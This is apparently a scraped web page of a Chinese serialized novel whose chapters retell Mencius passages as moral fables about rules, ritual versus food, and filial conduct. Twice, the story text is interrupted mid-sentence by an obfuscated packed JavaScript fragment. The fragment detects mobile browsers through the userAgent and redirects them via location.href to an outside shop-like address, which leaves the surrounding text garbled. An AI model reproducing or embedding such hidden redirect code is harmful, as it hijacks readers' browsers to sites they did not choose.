先射者阿敏。引弓颤抖,箭出如醉汉,斜飞入草。连射十箭,皆脱靶。众哄笑。 阿拙上场,立定、握弓、引弦,虽稚嫩,然姿势端整。白衣人于旁道:“莫看靶,看你规矩。”阿拙松弦,箭出,中靶边。又九箭,皆上靶,有三箭近红心。 满场静,继雷动。后胜面如死灰。 白衣人问阿拙:“可觉规矩缚你?” 阿拙挠头:“初时缚,今觉…觉规矩帮我。箭出时,不慌。” “善!”白衣人拊掌,对众道,“诸君见否?规矩非枷锁,是阶梯。阿拙循阶而上,虽慢却稳;阿敏弃阶而跃,虽高必坠。此正是孟子所言:‘大匠诲人必以规矩,学者亦必以规矩。’” 后胜羞惭,欲闭馆。白衣人止之:“馆主何需如此?羿门射术,自有精妙。然弃规矩而谈精妙,是舍本逐末。今愿与馆主共订‘羿门新规’,可愿?” “愿闻!” 三、 规矩辩 白衣人邀后胜及江陵众教席,聚于射圃,论“规矩之道”。 有书塾先生叹:“今之童子,多厌规矩。坐需直,书需正,每多抱怨。不若任其自然…” 白衣人问:“任其自然,可能成字?” “这…歪斜而已。” “是了。”白衣人道,“初学需规矩,如童学步需扶。然规矩非目的,是手段。羿之彀,是手段,中的是目的;大匠规矩,是手段,成器是目的。今人常见两种谬误——” 他竖二指: “一谬,弃规矩求自然。如羿门初时,不教引弓,但求‘箭心’。此是空中楼阁。” “二谬,守规矩忘目的。有塾师但求童子坐直,不问其是否明理;有匠人但循尺规,不问器是否适用。此是买椟还珠。” 后胜恍然:“我犯第一谬。” 书塾先生赧然:“我…我常犯第二谬。” “然则何为真规矩?”有老匠问。 白衣人指场中箭靶:“规矩如靶,为的而设。羿教射,志在彀,是为中的;大匠诲人,必以规矩,是为成器。规矩需活,需因时因地因人而变。然万变不离其宗——宗是目的。今我立‘三问法’,诸君可自检。” 遂书于板: “授艺三问: 一、此规为何设?(为中的,为成器) 二、此规可达成否?(学者可循,可进) 三、此规可化否?(纯熟后,能否活用)” 众皆记诵。白衣人又曰:“规矩有死、活、化三境。死规矩,如绳缚人,愈动愈紧;活规矩,如舟载人,助其渡河;化规矩,如盐入水,不见其形,咸在其中。学者当从死入活,从活化无,方是真得。” 后胜拜问:“我门射规,当如何定?” 白衣人取弓,示以“羿门九规”:站、握、引、瞄、息、发、随、收、省。每规皆详解其理,又嘱:“此九规,如九阶。学者循阶而上,至顶可忘阶。然未登顶而毁阶,必坠。” 遂订《羿门新谱》,江陵射风为之一正。 四、 规矩化 阿拙习射三年,尽得九规。然每射必先默想规矩,动作僵硬。后胜忧之,问白衣人。白衣人但笑:“且观之。” 是年“射魁会”,阿拙参赛。引弓时,忽忘规矩,心慌手颤,箭出脱靶。众哗然。阿拙泪下,寻白衣人。 白衣人引其至江边,递一石:“掷水中,可起涟漪否?” 阿拙掷,涟漪圈圈。 “掷时,可思‘手如何扬,力如何发’?” “未思,自然掷出。” “着啊!”白衣人道,“规矩已化入你身,如盐入水。你强忆规矩,反成束缚。今当忘规矩,但问本心:我要中的。” 次日,阿拙再射。立定,不思规矩,但观靶心。引弓如呼吸,发箭如展眉,十箭皆中红心。夺魁。 后胜叹服:“此真化境!” 白衣人曰:“然化境由规矩入。无三年规矩,无今日之化。今阿拙可忘规矩,然若教人,仍需传规矩。此谓‘大匠诲人必以规矩’——非匠不知化境,是学者需阶而进。” 又三年,阿拙成羿门新师。有童问:“师傅,规矩可忘否?” 阿拙答:“可忘。然忘前需记,化前需守。如你今学步,需扶墙;他日奔走,自忘墙在。然无墙,你今日已跌。” 童恍然。阿拙授艺,必严规矩,然每授一规,必解其理:“此规非 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后胜卒,阿拙继馆主,严守碑训。每岁新徒入门,先拜碑,诵孟子。有童不耐,阿拙但问:“你学字,先描红否?射如字,无描红,不成体。” 淳化三十年,江陵大水,射圃淹,碑没。水退,乡人掘地三尺,得碑,洗净如新。众奇之,谓“规矩不灭”。乃移碑高阜,建“规矩亭”。 有游学士子过,见童子射箭,姿正神凝,问:“此地射艺,何以独盛?” 乡老指碑:“有规矩在耳。” 士子观碑,叹:“但得规矩立,何事不成?”归乡仿立“规矩堂”,授徒皆自规矩始。 百年后,有将军过江陵,见童子戏射,柳枝为弓,草茎为箭,然姿势俨然,中的颇多。将军奇:“何人教之?” 童答:“无人教,但见碑上画,自仿耳。” 将军往观,见碑阴有石刻“羿门九规图”,虽历风雨,线条清晰。将军拜碑:“但得规矩传,何需常师?” 是夜,有白衣人影现亭中,抚碑微笑,轻吟: “羿教射必志彀, 匠诲人必规矩。 但得此碑在, 人间有绳墨。” 吟罢,踏月而去。亭外古柳,枝条轻摆,如弓如彀。 本章诫世 一、 规矩之要 - 羿教射必志于彀,大匠诲人必以规矩,是成事之基 - 破解法:学者需敬畏规矩,教者需善立规矩 - 示例:后胜弃规矩求“神射”,反致弟子无成;阿拙守规矩渐进,终至化境 二、 规矩三境 - 守规、用规、化规,循序渐进 - 惕世:多少人未守而求用,未用而求化,终成空中楼阁? - 反思:可曾轻慢基本功,好高骛远? 三、 规矩非缚 - 规矩是舟楫阶梯,非枷锁牢笼 - 深层隐喻:文明在规矩中传承,自由在规矩中实现 - 终极指向:重规矩者得自由,轻规矩者终受缚 规矩偈: 淳化五年江陵秋,羿门射圃起谬流。 不教彀规但养心,十子竞射皆贻羞。 白衣立规十日验,阿拙循矩占鳌头。 至今碑亭柳荫下,犹闻弦鸣说刚柔。 后世叹: 大宋江陵有羿门,授射弃规但养神。 白衣示以彀规矩,童子验之假与真。 守规方得自由趣,循序始能化境臻。 寄语世间传道者,莫将阶梯等闲湮。 正是: 羿教射术必志彀,大匠诲人以规矩。 后胜弃规求神射,白衣立范验真趣。 守规非为缚手足,循序方能得自由。 寄语世间求学客,莫将阶梯作桎梏。 46. 礼食谳 楔子礼食辩 大齐开元九年,曲阜有儒生名孔礼,字守文,墨守古礼,一丝不苟。邻有任姓商人,专贩海盐,富而骄,常讥孔生迂腐。 是年饥荒,孔礼家无余粮,三日不食,犹正襟危坐,诵《礼经》。任商携酒肉过其门,见之,笑问:“孔兄,礼与食孰重?” 孔礼正色:“礼重。” “然则以礼食,则饥而死;不以礼食,则得食。今君守礼将死,若从我饮宴,破‘食不语’之礼,可得饱。必以礼乎?” 孔礼语塞。任商又道:“闻君聘东村张氏女,女家索聘礼三十金,君无。若循‘亲迎’之礼,则不得妻;若私奔,则得妻。必亲迎乎?” 孔礼面红,不能答。任商大笑而去。 是夜,孔礼饥病交加,昏卧床榻,忽闻窗外有人诵: “礼食孰重本末淆, 方寸之木比岑高。 不揣其本齐其末, 任人诡辩实可笑。” 强起推窗,见一白衣人立月下,斗笠面纱,木剑负背,手中执一枯穗、一嘉禾。 一、 方寸岑楼 孔礼揖问:“先生诵孟子言乎?” 白衣人颔首,入室,示以枯穗、嘉禾:“此二物,孰重?” 孔礼观之:“嘉禾实,自重于枯穗。” “然。”白衣人将枯穗置砚上,嘉禾置案下,问:“今枯穗高于嘉禾,可谓枯穗重于嘉禾否?” “不可,此位势之异,非本质之重。” “善哉!”白衣人拊掌,“孟子曰:‘不揣其本,而齐其末,方寸之木可使高于岑楼。’任商以‘守礼饿死’与‘违礼得食’相较,是以方寸之木比岑楼,谬矣!” 孔礼茫然:“请先生详示。” 白衣人展《孟子》卷,指“礼食”章:“任商之问,是偷换轻重。礼有轻重,食有缓急。譬如今你三日不食,是急;‘食不语’之礼,是末节。以末节之礼与救命之食比,是‘取礼之轻者与食之重者而比之’,自然食重。然岂可因噎废食,谓礼全无用?” 孔礼恍然:“是矣!我当辩之!” “且慢。”白衣人道,“孟子有妙答。我今扮任商,你试应之。” 遂扮任商声气:“孔兄,若扭兄之臂夺其食,则得食;不扭,则不得食,你将扭之乎?” 孔礼正色:“岂可!兄弟之伦,重于饮食。” “若逾东家墙搂其处女,则得妻;不搂,则不得妻,你将搂之乎?” “禽兽之行,死不为也!” “着啊!”白衣人复本声,“守礼饿死,是‘礼之重’;违礼得食,是‘食之轻’。岂可因轻废重?任商之谬,在以‘紾兄夺食’之恶,比‘守礼忍饥’之善,混为一谈。今我与你同访任商,可敢?” 孔礼振奋:“敢!” 二、 本末之辨 次日,任商正宴客,见孔礼偕白衣人来,嗤道:“孔兄得食矣?” 白衣人揖道:“任先生昨日之问,吾等有答。” 任商傲然:“愿闻高论。” 白衣人取桌上竹筷一双,一长一短,竖于案上。以书垫短筷,令其高于长筷,问:“此筷孰长?” “自是长筷长。” “然今短筷高,可谓短筷长乎?” 任商语塞。白衣人正色:“先生以‘守礼饿死’比‘违礼得食’,是以短筷垫高比长筷,是本末倒置。礼有本末,食有缓急。今请与先生明辨——” 他取杯水、斗米置案上:“水与米,孰重?” “自米重。” “然若有人渴极将死,水可活命;米虽多,不能解渴。此时水重乎?米重乎?” 任商迟疑。白衣人道:“此谓‘时、地、人’三异,轻重不同。礼之大本,是仁义;礼之末节,是仪文。孔兄忍饥守‘食不语’,是守末节;若为守礼而饿死,是舍本逐末,反违仁心——仁者爱身,身死何以行礼?然任先生以‘违礼得食’为辞,是诱人舍本逐末,更为不堪。” 任商面红:“我…我不过戏言…” “戏言可杀人。”白衣人厉声,“昔有愚人,闻‘男女授受不亲’,见嫂溺不救,嫂死。此人守礼乎?背礼乎?孟子曰:‘嫂溺不援,是豺狼也。’今孔兄之饥,如嫂之溺。不救而讥,是豺狼之讥也!” 满座客皆赧然。任商汗下,强辩:“然聘妻之事…” 白衣人截道:“聘妻之礼,本在诚敬,非在财货。若女家索重聘,是卖女,已失礼本。孔兄无财,是守廉,非违礼。任先生以‘私奔’为解,是教人逾墙搂处子,此乃大恶,岂可与礼并论?” 他取案上金樽、陶碗:“金重于土,然一钩金与一车土孰重?礼重于食,然一末节之礼与救命之食孰重?任先生以‘一钩金’之礼,比‘一车土’之食,是淆乱轻重。今请先生自答:若令你扭父之臂夺食,可得食;不扭,则饿死。你扭否?” 任商扑通跪地:“某…某知罪矣!” 三、 礼食之衡 任商既悔,邀孔礼、白衣人入内室,奉茶谢罪。白衣人问:“任先生行商,可有规矩?” “有。货真价实,童叟无欺。” “此商礼也。若有人言:‘守此规,则亏本;违此规,则得利。你守否?’” 任商正色:“必守!无此规,商道不存。” “善。”白衣人颔首,“此谓守本。然若此规致你身死,当如何?” 任商茫然。白衣人道:“譬如你运盐遇盗,盗言:‘弃规,诈称次品,我可分利;守规,则杀你。’你守否?” “这…命重,暂违可也。” “然也。”白衣人温言,“礼有经有权。经者常道,权者变通。孔兄忍饥守‘食不语’,是守经;若饿死,是忘权。然任先生诱其‘违礼得食’,是以权害经。今当明辨:何者为经?何者为权?” 遂为二人析: “礼之大经:仁义忠信,不可违。 礼之小经:仪文细节,可权变。 食之急者:救命活人,可权变。 食之常者:日常饮食,当守礼。 聘妻大经:诚敬专一,不可违。 聘妻小经:六礼程式,可权变。 妻之得者:两情相悦,礼为证。 妻之失者:财货相市,礼已坏。” 孔礼拜问:“然则我当如何?聘礼无着…” 白衣人自袖中取一锦囊:“内有三十金,可解燃眉。然需明告女家:此金是借,婚后共偿。若女家索财,是违礼本;你诚告之,是守礼实。可愿?” 孔礼泣谢:“愿!然先生何以助我?” “非助你,是护礼。”白衣人道,“礼之本在诚,今你诚而无财,是礼将坏。我护此礼,如护火种。” 任商亦道:“我愿赠二十金,赎前愆。” 孔礼却之:“任兄悔悟,便是赠礼。金不必。” 白衣人拊掌:“此谓得礼之本矣!” 四、 礼权之验 孔礼携金往张氏,明告借贷之事。女父初不悦,然见其诚,又闻白衣人、任商为证,叹道:“吾非卖女,是试尔心。今知尔诚,礼可省,婚即成。” 婚期定,然灾荒愈重,乡人易子而食。孔礼婚宴,仅粗茶淡饭。有讥其“失礼”者,孔礼对曰:“礼在诚敬,不在奢靡。今乡人饥,我若盛宴,是违仁心,大失礼也。” 任商闻之,散家财之半,设粥棚。有同业讥:“行商求利,何以散财?”任商正色:“商有商礼,仁为本。今灾民如嫂溺,不援是豺狼。” 白衣人暗观,颔首道:“二人皆得礼权矣。” 婚三日,有恶少聚众,欲抢粥棚存粮。任商率仆御之,恶少言:“守你商礼,则饿死;抢粮,则得活。你让否?” 任商忆白衣人语,朗声道:“若你扭母之臂夺食,可得食,你扭否?” 恶少怔住。任商又道:“我守商礼,是守仁。今我可分粮与你,然需以工代赈,共度荒年。可愿?” 恶少感泣,皆从之。粥棚遂扩为“礼食堂”,饥者得食,壮者务工,老弱得养。 孔礼设“礼教堂”于宅,授童子礼之本末。有童问:“先生,若礼与生冲突,何择?” 孔礼不答,但引至礼食堂,指任商:“此君昔以礼食刁难我,今以礼食活千人。你观礼重乎?食重乎?” 童恍然:“礼活人则重,礼害人则轻。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088198|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“善!”白衣人忽现,抚童首,“礼如药,用当则活人,用不当则杀人。今你等当学辨症下药,莫死守方剂。” 又对孔礼、任商道:“二位于礼,已得活法。然尚有一关需过。” “何关?” “名实之关。”白衣人道,“今你二人,一以守礼闻,一以行善闻。然若为守名而守礼,为博名而行善,是礼之贼也。当如孟子言:‘非礼之礼,非义之义,大人弗为。’” 二人肃然受教。 尾声礼食碑 灾荒过,礼食堂不解,转为“礼本堂”,专教人辨礼之本末。孔礼、任商共为主事,一授经,一授用,时人誉“礼门双璧”。 白衣人将去,二人请留名,白衣人但指堂前槐树:“礼如槐,根深乃叶茂。但得守本,何需留名?” 乃于堂前立“礼食碑”,刻孟子“礼食”全章。又镌“礼权三辨”: “一辨本末: 礼之本在仁,末在仪。 守本可权末,守末勿害本。 二辨轻重: 事有经有权, 经者常道,权者变通。 以经常权,愚;以权害经,恶。 三辨名实: 礼为实设,非为名存。 为名守礼,是礼之贼; 为实行礼,是礼之魂。” 碑成,白衣人踏歌去: “礼食孰重古今争, 不揣本末妄品评。 方寸之木可比岑, 一钩之金敢敌輶? 紾兄夺食岂为智, 逾墙搂子实是狞。 愿君常怀礼本秤, 莫被末节误平生。” 后三十年,孔礼、任商同日无疾而终。乡人合葬之,碑曰“礼食二贤墓”。有狂生过墓,讥:“守礼饿死之辈耳!”牧童在侧,忽道:“你饥时,可扭母夺食?”狂生赧然。 又百年,战火毁堂,碑独存。有饥民倚碑,见“礼食”字,泣曰:“礼不活人,何用?”忽有长者携粥至,指碑道:“礼在粥中。”视之,乃礼本堂后人,世世守碑训,荒年必施粥。 自此,乡有谚:“饿看礼食碑,饱思礼食义。”童子启蒙,先读碑文。有问“礼重食重”,师不答,但令观庖厨:母烹食,必先奉翁姑,后予子女,自食其末。童悟:“礼在食中。” 暮夜,时有白衣影现碑前,抚文喃喃: “礼乎?食乎?” “本乎?末乎?” 槐花簌簌,如雪如答。 本章诫世 一、 本末之淆 - 任人诡辩,以礼之末节比食之急需,是方寸木比岑楼 - 破解法:遇两难,当辨本末轻重,莫被表象所惑 - 示例:孔礼初守“食不语”末节几饿死,是末害本;后明礼本在仁,遂得权变 二、 礼有权经 - 礼有经常之道,有权变之宜。嫂溺援手是权,守“男女有别”是经 - 惕世:多少人死守末节而害本?多少人假权变而毁经? - 反思:所守所执,是礼之本,还是礼之末? 三、 礼在实行 - 礼非虚文,在活人实用。为名守礼是贼,为实守礼是魂 - 深层隐喻:文明在礼,然礼需与时俱进,不离本宗 - 终极指向:明本末,知权经,礼方为活礼 礼食偈: 开元九年曲阜饥,孔生守礼命如丝。 任人诡辩淆本末,白衣析理明权宜。 礼在活人不在死,食为续命不为私。 至今碑前槐花落,犹说经权不可离。 后世叹: 大齐儒生孔守文,忍饥守礼几亡身。 任商诡问淆轻重,白衣妙析辨伪真。 礼有权经常变用,食分缓急可屈伸。 寄语世间执礼客,莫将末节作天钧。 正是: 礼食之辩古所争,不揣本末妄重轻。 方寸之木可比岑,一钩之金敢敌輶? 紾兄夺食岂为得,逾墙搂子实是狞。 愿君常怀权经常,莫被礼文误苍生。 47. 尧舜谳 楔子九尺叹 大唐贞元七年,青州有壮士曹交,身长九尺四寸,力能扛鼎,然目不识丁,以贩薪为生。常对井自照,叹曰:“吾闻文王十尺,汤九尺,皆成圣王。今吾身量相类,何独食粟而已?” 一日,曹交担薪入城,遇士子车驾,避道稍迟,遭鞭叱:“莽夫挡道!”曹交怒,几挥拳,忽忆老母“忍”字,强按怒火。归途,于茶肆闻说书人讲《孟子》,言“人皆可以为尧舜”,曹交掷薪问:“果有是言?” 说书人曰:“孟子谓曹交问云云…” 曹交大喜:“我亦名曹交!然则我亦可为尧舜乎?” 满座哄笑。有书生讥:“尧舜岂是力夫可及?兄但食粟可矣。” 曹交羞愤,担薪疾走。至家门,见老母倚闾,白发飘萧,忽悲从中来,跪泣:“儿空长九尺,不能养母,岂可为尧舜?” 忽闻柴扉外有人作歌: “人人皆可为尧舜, 何须身量论尺寻? 徐行后长即是弟, 孝弟之道在寸心。” 曹交惊视,见一白衣人立篱外,斗笠面纱,木剑负背,手中拈着一节枯枝。 一、 乌获之任 曹交迎入,白衣人指其薪担:“此重几何?” “三百斤。” “可再加否?” “五百斤可也。” 白衣人颔首,自怀中取一页残简,乃《孟子》曹交章:“子既知孟子言,可知‘举乌获之任,是亦为乌获而已矣’何意?” 曹交茫然。白衣人道:“乌获,古之力士。孟子言,今有人力不能胜一匹雏,是无能;若能举百钧,便是有能。然则能举乌获所举之重,便是乌获了。君力能扛鼎,已是乌获之力。尧舜之道,岂在力乎?” 曹交恍然:“然则尧舜在…” “在孝弟。”白衣人截道,“徐行后长者谓之弟,疾行先长者谓之不弟。君今日入城,可曾让长者?” 曹交赧然:“有老妪负囊,我…我急行越之。” “此即不弟。”白衣人温言,“徐行让长,岂人所不能?所不为也。今君力能举鼎,而不肯让老妪,是力大而德小,何谈尧舜?” 曹交汗下,忽忆避车挨鞭事,更惭。白衣人续道:“尧舜之道,孝弟而已。君有老母,可曾晨昏定省?可曾温言慰怀?” 曹交泣拜:“先生教我!我愿为尧舜!” “非我教,是孟子教。”白衣人扶起,“孟子曰:‘子服尧之服,诵尧之言,行尧之行,是尧而已矣。’今君不需服尧服,不需诵尧言,但行尧行——尧之行,孝弟也。自今日始,晨省昏定,让长扶弱,便是行尧行。可愿?” “愿!” “然有一试。”白衣人指门外,“今有老丐卧雪,君可愿让出半屋,奉以热粥?” 曹交怔住——屋仅一间,母病畏寒… “不愿则已。”白衣人转身欲行。 “愿!”曹交咬牙,“我力壮,可宿檐下。” “善!”白衣人拊掌,“此一念,便是尧舜之芽。” 二、 徐行记 曹交果迎老丐入室,奉粥赠被,自卧柴房。夜半雪深,冻醒,忽闻屋中母咳,急入视。见老丐为母捶背,母笑:“此翁善推拿,吾舒畅矣。”曹交感泣。 白衣人暗观,颔首。 次日,曹交入城贩薪。至城门,遇昨日鞭己之车驾。正欲避,见一老翁蹒跚,车夫叱骂,曹交忽挺身,挡老翁前,对车夫揖道:“尊驾稍待,容老人先过。”车中士子探头,见曹交魁梧,悻悻允之。 老翁谢,曹交忽觉胸中畅快,胜扛鼎。 白衣人现于道旁,笑问:“此乐与得钱孰乐?” 曹交憨笑:“此乐久。” “是矣。”白衣人道,“此便是徐行后长者之乐。尧舜之乐,不过如此。” 又数日,曹交贩薪归,见童子斗殴,一童泣曰:“彼夺我馍…”曹交本欲行,忽忆“尧舜之道,孝弟而已”,弟者,悌也,爱幼亦悌。遂上前劝解,赠二童各一馍,曰:“勿争,共享可也。” 童子拜谢。曹交归途,步履轻快。白衣人忽现,问:“今可为尧舜否?” 曹交挠头:“但行小事,岂敢比尧舜?” “差矣。”白衣人正色,“尧舜所行,无非孝弟爱人。今你事母孝,让长老,恤幼弱,已是尧舜之行。但持之以恒,便是尧舜。” 曹交恍然,又疑:“然我目不识丁…” “识字与孝弟孰要?”白衣人问,“有博士不孝,识字何为?有力夫孝母,即是圣行。子不见孟子言‘道若大路然,岂难知哉’?孝弟便是大路,人人可循,何需识字?” 曹交再拜:“愿从先生学。” “我非师,孝弟是师。”白衣人道,“子归而求之,有余师。家中老母是师,乡里长者是师,路上乞儿亦是师。但问孝弟,处处是师。” 言罢,飘然而去。曹交独立雪中,如有所悟。 三、 假馆之悟 曹交孝弟之名渐传。有邹姓乡绅闻之,邀至府中,欲聘为护院。曹交见邹府豪奢,心动,然思老母孤苦,婉拒:“母在,不远游。” 邹君奇之,问:“闻君慕尧舜,然尧舜岂是匹夫可及?” 曹交对曰:“尧舜之道,孝弟而已。交事母孝,让长老,便是行尧舜行。匹夫匹妇,皆可为尧舜。” 邹君赧然——自身富甲一方,然老父独居别院,经年不往。遂改容谢,迎父归正堂,晨昏定省。青州传为美谈。 曹交事母愈谨。母病,亲尝汤药,夜不解带。母卒,哀毁骨立,结庐墓侧,守孝三年。白衣人时来暗观,见曹交虽粗衣陋食,然目有慈光,行动和缓,与昔年莽夫判若两人。 三年孝满,邹君来请,愿荐于州府为吏。曹交辞:“交不识字,不堪吏职。但愿于城门设‘让道棚’,劝人孝弟。” 邹君助成其事。曹交日坐棚中,见车马争先者,则劝:“徐行后长,即是尧舜。”见负重者,则助。初人笑其迂,久而感其诚,城门礼让成风。 一日,有京官过,见城井然,问故。吏以曹交对。京官召见,问:“君不识字,何以教化?” 曹交对:“孝弟不在字,在行。让道是弟,奉亲是孝。人人能行,人人尧舜。” 京官叹服,欲表朝廷。曹交又辞:“交本力夫,偶行孝弟,何功之有?若朝廷重孝弟,则天下皆尧舜,不待表彰。” 京官归奏,帝感其诚,诏州县兴“孝弟科”,不试文章,但察品行。青州曹交,为天下倡。 白衣人闻之,贺曹交:“子今为尧舜矣。” 曹交泣:“此皆先生所教。” “非我所教,是子自行。”白衣人道,“孟子谓‘人病不求耳’,子肯求孝弟,故得之。今子可答当年之问否——人皆可为尧舜乎?” “可!”曹交朗声,“徐行后长即是弟,力能举鼎亦为乌获。但行孝弟,人人尧舜;但求则得,何需他寻?” 四、 余师篇 曹交晚年,于城门侧建“孝弟亭”,亭中悬“尧舜镜”,镜旁镌孟子语。每日坐亭中,为路人讲“徐行后长”之理。有童问:“公公,尧舜是何模样?” 曹交指镜:“你对此镜笑,镜中何人?” “我自己。” “是矣。你孝父母,友兄弟,便是镜中尧舜。” 又壮汉问:“我贫,无力奉亲,可为尧舜否?” 曹交反问:“无力奉甘旨,可奉笑颜否?无力赠锦衣,可赠暖语否?尧舜之道,在心不在物。” 壮汉悟,归家事母,虽粗茶淡饭,母悦而康。 白衣人时来暗观,见亭中老少咸集,有士子听樵夫讲孝弟,有官人向乞儿学让道,莞尔道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088199|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “此真‘道若大路’也。” 贞元三十年,曹交无疾终。临终,执邹君子手曰:“孝弟…大道也,在…在…”手指“尧舜镜”,含笑而逝。 青州人葬之于孝母墓侧,碑曰“力夫曹交,行比尧舜”。送葬者万余人,皆白衣徐行,不争不抢,肃穆井然。有童子问父:“曹公是尧舜乎?” 父答:“但看你能否徐行。” 童遂缓步,让长者先。 尾声尧舜亭 曹交卒后,孝弟亭香火不绝。每有争端,乡老便引至亭中,问:“若是曹公,当如何?”争者多惭而和解。 有狂生讥:“力夫而称尧舜,僭也!”夜梦白衣人问:“子可曾让过老妪?”狂生醒,汗透衣,晨起即至亭洒扫。 百年后,亭圮镜失。有游方僧过,于废基掘得残碑,上有“人皆可以为尧舜”七字。僧问乡老:“此碑何人立?” 乡老述曹交事。僧合十:“力夫能行,我辈何辞?”遂结庐守碑,日诵《孟子》。不数年,信众云集,重建“尧舜亭”,僧为亭主,不念佛,但讲孝弟。 有士子问:“尧舜乃圣王,孝弟匹夫皆可,岂非等圣贤于凡人?” 僧指亭前路:“此路,圣贤可行,凡人可行,犬豕亦可。道在行,不在名。子但徐行让长,便是圣贤行;若疾行争先,便是犬豕行。与身份何干?” 士子拜服。自此亭中训条: “不问出身,但问孝弟; 不论文武,但看行止。 徐行后长,即是尧舜; 疾行抢先,便是桀纣。 道在足下,何需远求?” 月明之夜,白衣人影时现亭中,抚碑轻吟: “人人皆可为尧舜, 孝弟便是登圣梯。 徐行后长寻常事, 何必深山觅紫芝? 道在途中君不见, 师在身旁汝不知。 但得回头问本心, 尧舜原不隔毫厘。” 吟罢,踏月徐行,步步生莲。 亭外古槐,新枝年年。 似在说: 徐行啊,徐行。 让一步,尧舜。 抢一步,桀纣。 本章诫世 一、 尧舜在行 - 人皆可为尧舜,非虚言,在孝弟躬行 - 破解法:莫自诩平凡,但问孝弟行否 - 示例:曹交力夫而行孝弟,即成乡贤;邹君富而不孝,愧对其言 二、 徐行之要 - 徐行后长者谓之弟,疾行先长者谓之不弟。此日常小事,即尧舜之道 - 惕世:多少人好高骛远求圣贤,却不肯让座老者?多少博学鸿儒,不如一让道力夫? - 反思:可曾疾行抢先,失却弟道? 三、 道在足下 - 道若大路,岂难知哉?人病不求耳 - 深层隐喻:圣贤之道在伦常日用,不在玄虚高远 - 终极指向:孝弟是路,人人可走;尧舜是境,步步可至 尧舜偈: 贞元七年青州冬,力夫曹交问圣踪。 身长九尺空食粟,白衣指路启愚衷。 徐行后长即是弟,孝母奉亲便为恭。 至今亭前行人过,犹效当年让道风。 后世叹: 大唐曹交一力夫,身长九尺贩薪刍。 慕尧舜道问孟子,行孝弟行化乡闾。 徐行后长成风俗,力让争先启顽愚。 寄语世间求圣者,道在途中莫他趋。 正是: 曹交问舜孟曰然,人人皆可至圣贤。 徐行后长即是弟,孝亲友兄便在肩。 道如大路岂难识,师在身旁何用迁? 寄语世间慕尧客,但行孝弟即舜天。 48. 弁风谳 楔子诗会争 大梁开成五年,金陵“停云诗社”会文。社长高子墨,年七十,以诗学名世。是日论《诗经》,高子指《小弁》篇,斥道:“此诗怨父,小人声口!” 座中有少年公孙忧,起而质:“《小弁》乃孝子之诗,何以谓小人?” 高子冷笑:“诗云‘何辜于天,我罪伊何’,怨天尤父,非小人乎?” 公孙忧欲辩,高子拂袖:“黄口小儿,也解诗乎?”满座皆附和高子。 公孙忧愤而离席,独行江畔,对月长吁:“高叟固哉!” 忽闻柳下有人吟哦: “越人射我谈笑道, 兄弓射我涕泪零。 《小弁》之怨是亲亲, 高叟论诗何太冥?” 回首,见一白衣人倚柳,斗笠面纱,木剑负背,手中展着一卷《诗经》。 一、 越兄之射 公孙忧揖问:“先生亦知《小弁》之辩?” 白衣人合卷:“适闻诗会,高叟之论,是越人之射也。” “何谓越人之射?” 白衣人折柳为弓,对江月虚引:“有人于此,越人关弓射之,你谈笑说道:‘彼与我疏,射我常也。’无他,疏之故。若其兄关弓射之,你必垂涕道之:‘兄何射我?’无他,戚之故。《小弁》之怨,是兄射之涕,非越射之笑。高叟以疏论戚,岂不谬哉?” 公孙忧恍然:“是矣!《小弁》乃太子宜臼作,其父幽王宠褒姒,逐己,故怨。此怨是亲亲之怨!” “然也。”白衣人颔首,“亲亲,仁也。子怨父过,是望父改;若漠然置之,是视父如越人,反是不仁。高叟但见怨字,不察怨情,是‘固哉高叟之为诗’。” 公孙忧再拜:“然则《凯风》何以不怨?” 白衣人展《凯风》篇:“‘凯风自南,吹彼棘心。棘心夭夭,母氏劬劳。’此诗子慰母劳,无怨。然不怨非无情,是因‘亲之过小’。母氏小过,子能谅,故不怨。《小弁》亲之过大——父逐嫡子,乱宗庙,此大过。过大而不怨,是愈疏;过小而怨,是苛责。皆非孝也。” 公孙忧如醍醐灌顶:“愿从先生学诗!” “诗在人情,不在字句。”白衣人道,“我与你同访高叟,可敢?” “敢!” 二、 亲疏之辨 高子墨归宅,犹愤愤:“竖子敢驳我!”忽闻叩门,仆引二人入,前为公孙忧,后随白衣人。 高子不悦:“汝又来聒噪?” 白衣人揖道:“晚生有诗疑,请高叟解惑。” “讲。” “昔有越人射我,我谈笑道之;兄射我,我垂涕道之。此二射,何以异?” 高子嗤:“疏戚之别,何需问?” “然也。”白衣人正色,“《小弁》之怨,是兄射之涕,高叟何以视为越射之笑?” 高子语塞。白衣人续道:“《小弁》诗云‘靡瞻匪父,靡依匪母’,子虽怨,仍瞻依父母,是亲亲之怨。高叟但斥‘怨’字,是见涕为笑,岂不谬乎?” 高子面红,强辩:“然怨父终非孝…” “舜父瞽瞍屡欲杀舜,舜怨否?”白衣人问。 “舜至孝,岂怨?” “非也。”白衣人摇头,“舜怨,然怨中存慕。《孟子》引孔子曰:‘舜其至孝矣,五十而慕。’慕者,思慕也。舜五十岁,犹思父爱,是怨中之慕。《小弁》太子,亦如是——怨父逐己,仍思父慈。此怨是孝,非不孝。” 高子汗出。白衣人又道:“今有一事,请高叟断:有子,父酗酒,日殴其母。子劝,父怒逐之。子怨父,可乎?” “这…父过当谏。” “谏而不听,怨而不离,是《小弁》也。若子漠然,是视父如越人,可乎?” 高子颓然:“老夫…老夫固矣。” 